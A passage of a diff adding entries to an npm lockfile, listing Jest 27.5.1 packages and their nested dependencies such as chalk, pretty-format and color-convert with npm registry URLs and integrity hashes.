+          "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+          "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+          "requires": {
+            "color-name": "~1.1.4"
+          }
+        },
+        "color-name": {
+          "version": "1.1.4",
+          "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+          "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+        },
+        "has-flag": {
+          "version": "4.0.0",
+          "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+          "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
+        },
+        "supports-color": {
+          "version": "7.2.0",
+          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+          "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+          "requires": {
+            "has-flag": "^4.0.0"
+          }
+        }
+      }
+    },
+    "jest-environment-node": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-environment-node/-/jest-environment-node-27.5.1.tgz",
+      "integrity": "sha512-Jt4ZUnxdOsTGwSRAfKEnE6BcwsSPNOijjwifq5sDFSA2kesnXTvNqKHYgM0hDq3549Uf/KzdXNYn4wMZJPlFLw==",
+      "requires": {
+        "@jest/environment": "^27.5.1",
+        "@jest/fake-timers": "^27.5.1",
+        "@jest/types": "^27.5.1",
+        "@types/node": "*",
+        "jest-mock": "^27.5.1",
+        "jest-util": "^27.5.1"
+      },
+      "dependencies": {
+        "@jest/types": {
+          "version": "27.5.1",
+          "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+          "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+          "requires": {
+            "@types/istanbul-lib-coverage": "^2.0.0",
+            "@types/istanbul-reports": "^3.0.0",
+            "@types/node": "*",
+            "@types/yargs": "^16.0.0",
+            "chalk": "^4.0.0"
+          }
+        },
+        "@types/istanbul-reports": {
+          "version": "3.0.1",
+          "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+          "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+          "requires": {
+            "@types/istanbul-lib-report": "*"
+          }
+        },
+        "@types/yargs": {
+          "version": "16.0.4",
+          "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+          "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+          "requires": {
+            "@types/yargs-parser": "*"
+          }
+        },
+        "ansi-styles": {
+          "version": "4.3.0",
+          "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+          "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+          "requires": {
+            "color-convert": "^2.0.1"
+          }
+        },
+        "chalk": {
+          "version": "4.1.2",
+          "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+          "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+          "requires": {
+            "ansi-styles": "^4.1.0",
+            "supports-color": "^7.1.0"
+          }
+        },
+        "color-convert": {
+          "version": "2.0.1",
+          "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+          "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+          "requires": {
+            "color-name": "~1.1.4"
+          }
+        },
+        "color-name": {
+          "version": "1.1.4",
+          "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+          "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+        },
+        "has-flag": {
+          "version": "4.0.0",
+          "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+          "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
+        },
+        "supports-color": {
+          "version": "7.2.0",
+          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+          "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+          "requires": {
+            "has-flag": "^4.0.0"
+          }
+        }
+      }
+    },
+    "jest-get-type": {
+      "version": "24.9.0",
+      "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-24.9.0.tgz",
+      "integrity": "sha512-lUseMzAley4LhIcpSP9Jf+fTrQ4a1yHQwLNeeVa2cEmbCGeoZAtYPOIv8JaxLD/sUpKxetKGP+gsHl8f8TSj8Q=="
+    },
+    "jest-haste-map": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-haste-map/-/jest-haste-map-27.5.1.tgz",
+      "integrity": "sha512-7GgkZ4Fw4NFbMSDSpZwXeBiIbx+t/46nJ2QitkOjvwPYyZmqttu2TDSimMHP1EkPOi4xUZAN1doE5Vd25H4Jng==",
+      "requires": {
+        "@jest/types": "^27.5.1",
+        "@types/graceful-fs": "^4.1.2",
+        "@types/node": "*",
+        "anymatch": "^3.0.3",
+        "fb-watchman": "^2.0.0",
+        "fsevents": "^2.3.2",
+        "graceful-fs": "^4.2.9",
+        "jest-regex-util": "^27.5.1",
+        "jest-serializer": "^27.5.1",
+        "jest-util": "^27.5.1",
+        "jest-worker": "^27.5.1",
+        "micromatch": "^4.0.4",
+        "walker": "^1.0.7"
+      },
+      "dependencies": {
+        "@jest/types": {
+          "version": "27.5.1",
+          "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+          "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+          "requires": {
+            "@types/istanbul-lib-coverage": "^2.0.0",
+            "@types/istanbul-reports": "^3.0.0",
+            "@types/node": "*",
+            "@types/yargs": "^16.0.0",
+            "chalk": "^4.0.0"
+          }
+        },
+        "@types/istanbul-reports": {
+          "version": "3.0.1",
+          "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+          "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+          "requires": {
+            "@types/istanbul-lib-report": "*"
+          }
+        },
+        "@types/yargs": {
+          "version": "16.0.4",
+          "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+          "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+          "requires": {
+            "@types/yargs-parser": "*"
+          }
+        },
+        "ansi-styles": {
+          "version": "4.3.0",
+          "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+          "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+          "requires": {
+            "color-convert": "^2.0.1"
+          }
+        },
+        "chalk": {
+          "version": "4.1.2",
+          "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+          "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+          "requires": {
+            "ansi-styles": "^4.1.0",
+            "supports-color": "^7.1.0"
+          }
+        },
+        "color-convert": {
+          "version": "2.0.1",
+          "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+          "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+          "requires": {
+            "color-name": "~1.1.4"
+          }
+        },
+        "color-name": {
+          "version": "1.1.4",
+          "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+          "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+        },
+        "has-flag": {
+          "version": "4.0.0",
+          "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+          "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
+        },
+        "supports-color": {
+          "version": "7.2.0",
+          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+          "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+          "requires": {
+            "has-flag": "^4.0.0"
+          }
+        }
+      }
+    },
+    "jest-jasmine2": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-jasmine2/-/jest-jasmine2-27.5.1.tgz",
+      "integrity": "sha512-jtq7VVyG8SqAorDpApwiJJImd0V2wv1xzdheGHRGyuT7gZm6gG47QEskOlzsN1PG/6WNaCo5pmwMHDf3AkG2pQ==",
+      "requires": {
+        "@jest/environment": "^27.5.1",
+        "@jest/source-map": "^27.5.1",
+        "@jest/test-result": "^27.5.1",
+        "@jest/types": "^27.5.1",
+        "@types/node": "*",
+        "chalk": "^4.0.0",
+        "co": "^4.6.0",
+        "expect": "^27.5.1",
+        "is-generator-fn": "^2.0.0",
+        "jest-each": "^27.5.1",
+        "jest-matcher-utils": "^27.5.1",
+        "jest-message-util": "^27.5.1",
+        "jest-runtime": "^27.5.1",
+        "jest-snapshot": "^27.5.1",
+        "jest-util": "^27.5.1",
+        "pretty-format": "^27.5.1",
+        "throat": "^6.0.1"
+      },
+      "dependencies": {
+        "@jest/types": {
+          "version": "27.5.1",
+          "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+          "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+          "requires": {
+            "@types/istanbul-lib-coverage": "^2.0.0",
+            "@types/istanbul-reports": "^3.0.0",
+            "@types/node": "*",
+            "@types/yargs": "^16.0.0",
+            "chalk": "^4.0.0"
+          }
+        },
+        "@types/istanbul-reports": {
+          "version": "3.0.1",
+          "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+          "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+          "requires": {
+            "@types/istanbul-lib-report": "*"
+          }
+        },
+        "@types/yargs": {
+          "version": "16.0.4",
+          "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+          "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+          "requires": {
+            "@types/yargs-parser": "*"
+          }
+        },
+        "ansi-regex": {
+          "version": "5.0.1",
+          "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+          "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="
+        },
+        "ansi-styles": {
+          "version": "4.3.0",
+          "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+          "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+          "requires": {
+            "color-convert": "^2.0.1"
+          }
+        },
+        "chalk": {
+          "version": "4.1.2",
+          "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+          "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+          "requires": {
+            "ansi-styles": "^4.1.0",
+            "supports-color": "^7.1.0"
+          }
+        },
+        "color-convert": {
+          "version": "2.0.1",
+          "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+          "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+          "requires": {
+            "color-name": "~1.1.4"
+          }
+        },
+        "color-name": {
+          "version": "1.1.4",
+          "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+          "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+        },
+        "diff-sequences": {
+          "version": "27.5.1",
+          "resolved": "https://registry.npmjs.org/diff-sequences/-/diff-sequences-27.5.1.tgz",
+          "integrity": "sha512-k1gCAXAsNgLwEL+Y8Wvl+M6oEFj5bgazfZULpS5CneoPPXRaCCW7dm+q21Ky2VEE5X+VeRDBVg1Pcvvsr4TtNQ=="
+        },
+        "has-flag": {
+          "version": "4.0.0",
+          "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+          "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
+        },
+        "jest-diff": {
+          "version": "27.5.1",
+          "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-27.5.1.tgz",
+          "integrity": "sha512-m0NvkX55LDt9T4mctTEgnZk3fmEg3NRYutvMPWM/0iPnkFj2wIeF45O1718cMSOFO1vINkqmxqD8vE37uTEbqw==",
+          "requires": {
+            "chalk": "^4.0.0",
+            "diff-sequences": "^27.5.1",
+            "jest-get-type": "^27.5.1",
+            "pretty-format": "^27.5.1"
+          }
+        },
+        "jest-get-type": {
+          "version": "27.5.1",
+          "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-27.5.1.tgz",
+          "integrity": "sha512-2KY95ksYSaK7DMBWQn6dQz3kqAf3BB64y2udeG+hv4KfSOb9qwcYQstTJc1KCbsix+wLZWZYN8t7nwX3GOBLRw=="
+        },
+        "jest-matcher-utils": {
+          "version": "27.5.1",
+          "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-27.5.1.tgz",
+          "integrity": "sha512-z2uTx/T6LBaCoNWNFWwChLBKYxTMcGBRjAt+2SbP929/Fflb9aa5LGma654Rz8z9HLxsrUaYzxE9T/EFIL/PAw==",
+          "requires": {
+            "chalk": "^4.0.0",
+            "jest-diff": "^27.5.1",
+            "jest-get-type": "^27.5.1",
+            "pretty-format": "^27.5.1"
+          }
+        },
+        "pretty-format": {
+          "version": "27.5.1",
+          "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-27.5.1.tgz",
+          "integrity": "sha512-Qb1gy5OrP5+zDf2Bvnzdl3jsTf1qXVMazbvCoKhtKqVs4/YK4ozX4gKQJJVyNe+cajNPn0KoC0MC3FUmaHWEmQ==",
+          "requires": {
+            "ansi-regex": "^5.0.1",
+            "ansi-styles": "^5.0.0",
+            "react-is": "^17.0.1"
+          },
+          "dependencies": {
+            "ansi-styles": {
+              "version": "5.2.0",
+              "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz",
+              "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA=="
+            }
+          }
+        },
+        "react-is": {
+          "version": "17.0.2",
+          "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz",
+          "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w=="
+        },
+        "supports-color": {
+          "version": "7.2.0",
+          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+          "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+          "requires": {
+            "has-flag": "^4.0.0"
+          }
+        }
+      }
+    },
+    "jest-leak-detector": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-leak-detector/-/jest-leak-detector-27.5.1.tgz",
+      "integrity": "sha512-POXfWAMvfU6WMUXftV4HolnJfnPOGEu10fscNCA76KBpRRhcMN2c8d3iT2pxQS3HLbA+5X4sOUPzYO2NUyIlHQ==",
+      "requires": {
+        "jest-get-type": "^27.5.1",
+        "pretty-format": "^27.5.1"
+      },
+      "dependencies": {
+        "ansi-regex": {
+          "version": "5.0.1",
+          "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+          "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="
+        },
+        "ansi-styles": {
+          "version": "5.2.0",
+          "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz",
+          "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA=="
+        },
+        "jest-get-type": {
+          "version": "27.5.1",
+          "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-27.5.1.tgz",
+          "integrity": "sha512-2KY95ksYSaK7DMBWQn6dQz3kqAf3BB64y2udeG+hv4KfSOb9qwcYQstTJc1KCbsix+wLZWZYN8t7nwX3GOBLRw=="
+        },
+        "pretty-format": {
+          "version": "27.5.1",
+          "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-27.5.1.tgz",
+          "integrity": "sha512-Qb1gy5OrP5+zDf2Bvnzdl3jsTf1qXVMazbvCoKhtKqVs4/YK4ozX4gKQJJVyNe+cajNPn0KoC0MC3FUmaHWEmQ==",
+          "requires": {
+            "ansi-regex": "^5.0.1",
+            "ansi-styles": "^5.0.0",
+            "react-is": "^17.0.1"
+          }
+        },
+        "react-is": {
+          "version": "17.0.2",
+          "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz",
+          "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w=="
+        }
+      }
+    },
+    "jest-matcher-utils": {
+      "version": "24.9.0",
+      "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-24.9.0.tgz",
+      "integrity": "sha512-OZz2IXsu6eaiMAwe67c1T+5tUAtQyQx27/EMEkbFAGiw52tB9em+uGbzpcgYVpA8wl0hlxKPZxrly4CXU/GjHA==",
+      "requires": {
+        "chalk": "^2.0.1",
+        "jest-diff": "^24.9.0",
+        "jest-get-type": "^24.9.0",
+        "pretty-format": "^24.9.0"
+      }
+    },
+    "jest-message-util": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-27.5.1.tgz",
+      "integrity": "sha512-rMyFe1+jnyAAf+NHwTclDz0eAaLkVDdKVHHBFWsBWHnnh5YeJMNWWsv7AbFYXfK3oTqvL7VTWkhNLu1jX24D+g==",
+      "requires": {
+        "@babel/code-frame": "^7.12.13",
+        "@jest/types": "^27.5.1",
+        "@types/stack-utils": "^2.0.0",
+        "chalk": "^4.0.0",
+        "graceful-fs": "^4.2.9",
+        "micromatch": "^4.0.4",
+        "pretty-format": "^27.5.1",
+        "slash": "^3.0.0",
+        "stack-utils": "^2.0.3"
+      },
+      "dependencies": {
+        "@jest/types": {
+          "version": "27.5.1",
+          "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+          "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+          "requires": {
+            "@types/istanbul-lib-coverage": "^2.0.0",
+            "@types/istanbul-reports": "^3.0.0",
+            "@types/node": "*",
+            "@types/yargs": "^16.0.0",
+            "chalk": "^4.0.0"
+          }
+        },
+        "@types/istanbul-reports": {
+          "version": "3.0.1",
+          "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+          "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+          "requires": {
+            "@types/istanbul-lib-report": "*"
+          }
+        },
+        "@types/yargs": {
+          "version": "16.0.4",
+          "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+          "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+          "requires": {
+            "@types/yargs-parser": "*"
+          }
+        },
+        "ansi-regex": {
+          "version": "5.0.1",
+          "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+          "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="
+        },
+        "ansi-styles": {
+          "version": "4.3.0",
+          "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+          "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+          "requires": {
+            "color-convert": "^2.0.1"
+          }
+        },
+        "chalk": {
+          "version": "4.1.2",
+          "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+          "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+          "requires": {
+            "ansi-styles": "^4.1.0",
+            "supports-color": "^7.1.0"
+          }
+        },
+        "color-convert": {
+          "version": "2.0.1",
+          "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+          "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+          "requires": {
+            "color-name": "~1.1.4"
+          }
+        },
+        "color-name": {
+          "version": "1.1.4",
+          "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+          "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+        },
+        "has-flag": {
+          "version": "4.0.0",
+          "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+          "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
+        },
+        "pretty-format": {
+          "version": "27.5.1",
+          "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-27.5.1.tgz",
+          "integrity": "sha512-Qb1gy5OrP5+zDf2Bvnzdl3jsTf1qXVMazbvCoKhtKqVs4/YK4ozX4gKQJJVyNe+cajNPn0KoC0MC3FUmaHWEmQ==",
+          "requires": {
+            "ansi-regex": "^5.0.1",
+            "ansi-styles": "^5.0.0",
+            "react-is": "^17.0.1"
+          },
+          "dependencies": {
+            "ansi-styles": {
+              "version": "5.2.0",
+              "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz",
+              "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA=="
+            }
+          }
+        },
+        "react-is": {
+          "version": "17.0.2",
+          "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz",
+          "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w=="
+        },
+        "supports-color": {
+          "version": "7.2.0",
+          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+          "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+          "requires": {
+            "has-flag": "^4.0.0"
+          }
+        }
+      }
+    },
+    "jest-mock": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-27.5.1.tgz",
+      "integrity": "sha512-K4jKbY1d4ENhbrG2zuPWaQBvDly+iZ2yAW+T1fATN78hc0sInwn7wZB8XtlNnvHug5RMwV897Xm4LqmPM4e2Og==",
+      "requires": {
+        "@jest/types": "^27.5.1",
+        "@types/node": "*"
+      },
+      "dependencies": {
+        "@jest/types": {
+          "version": "27.5.1",
+          "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+          "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+          "requires": {
+            "@types/istanbul-lib-coverage": "^2.0.0",
+            "@types/istanbul-reports": "^3.0.0",
+            "@types/node": "*",
+            "@types/yargs": "^16.0.0",
+            "chalk": "^4.0.0"
+          }
+        },
+        "@types/istanbul-reports": {
+          "version": "3.0.1",
+          "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+          "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+          "requires": {
+            "@types/istanbul-lib-report": "*"
+          }
+        },
+        "@types/yargs": {
+          "version": "16.0.4",
+          "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+          "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+          "requires": {
+            "@types/yargs-parser": "*"
+          }
+        },
+        "ansi-styles": {
+          "version": "4.3.0",
+          "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+          "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+          "requires": {
+            "color-convert": "^2.0.1"
+          }
+        },
+        "chalk": {
+          "version": "4.1.2",
+          "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+          "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+          "requires": {
+            "ansi-styles": "^4.1.0",
+            "supports-color": "^7.1.0"
+          }
+        },
+        "color-convert": {
